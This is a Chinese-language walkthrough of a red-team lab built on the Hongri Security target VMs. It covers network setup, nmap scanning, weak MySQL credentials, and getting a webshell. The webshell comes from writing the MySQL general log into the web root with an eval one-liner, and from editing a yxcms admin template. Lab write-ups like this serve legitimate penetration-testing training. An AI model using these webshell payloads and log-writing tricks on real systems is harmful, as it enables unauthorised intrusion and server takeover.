ATT&CK 红队实战(一)1

0x01 环境搭建

红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。

我们下载完靶机有三个压缩包,对应三个虚拟机:

图片

VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008

可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。

一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。

二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。

所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)

0x02 启动靶机和服务

将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。

密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。

进入win7 启动phpstudy。

发现三台主机都是固定IP的,是在192.168.52.0/24段可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试

0x03 拿下Web服务器

上述基本完成后,我们可以正式开始本次靶机渗透之旅

3.1 信息收集

本机kali的地址为:192.168.237.137

搜索同段的主机,再针对性的使用nmap进行服务端口扫描

1
netdiscover -i eth0 -r 192.168.237.0/24

或者直接使用nmap扫描同一C段:

1
nmap -sP 192.168.237.0/24		# -sP ping方式探测存活主机

图片

1
nmap -sC -sV -Pn -p 1-65535 192.168.237.136	# -sC默认脚本 -sV 服务版本 -p指定端口

图片

3.2 漏洞利用

发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。

网站的绝对路径:C:/phpStudy/www/

此时,有两种攻击方案:

  1. phpstudy 后门
  2. 看看MySQL能不能连进去
    测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root就可以连进去,而且是可以外连的。

使用dirmap或者御剑扫描web目录,发现phpmyAdminbeifen.rar(如果是没有弱口令,从备份文件中找配置也是一个突破口)

图片

备份文件是一个yxcms的源码:

在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456

发现后台地址:/index.php?r=admin

图片

接下来,又有两种攻击方案可以选择:

  1. 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
  2. 继续跟进yxcms
    因为是练习嘛,我们都尝试一遍。

3.2.1 mysql日志写shell

先看一下有没有写权限:

1
show variables like '%secure%';

图片

secure_file_priv ==''为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL。所以这里没有写权限,无法直接写shell。

因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

/etc/my.cnf[mysqld]下面添加local-infile=0选项。

这里无法直接写shell,那我们来尝试日志写 shell,开启日志记录

1
2
3
set global general_log = "ON"; 	# 开启日志记录
show variables like 'general%'; # 查看当前的日志记录
set global general_log_file="C://phpStudy/www/v0w.php"; # 指定日志文件

图片

进行一次查询,查询记录就将写到日志文件中,形成一个webshell。

1
SELECT '<?php eval($_POST["a"]);?>'

图片

使用蚁剑连接,getshell

3.2.2 通过yxcms getshell

利用之前得到的一些信息,登录后台

1
2
后台地址:/index.php?r=admin
用户名和密码:admin 123456

看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。

比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)

图片

这个很明显就在index.php处的搜索功能。

比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell

1
2
http://192.168.237.136/yxcms/index.php?r=default%2Findex%2Fsearch&keywords=q&type=all
http://192.168.237.136/yxcms/protected/apps/default/view/default/index_search.php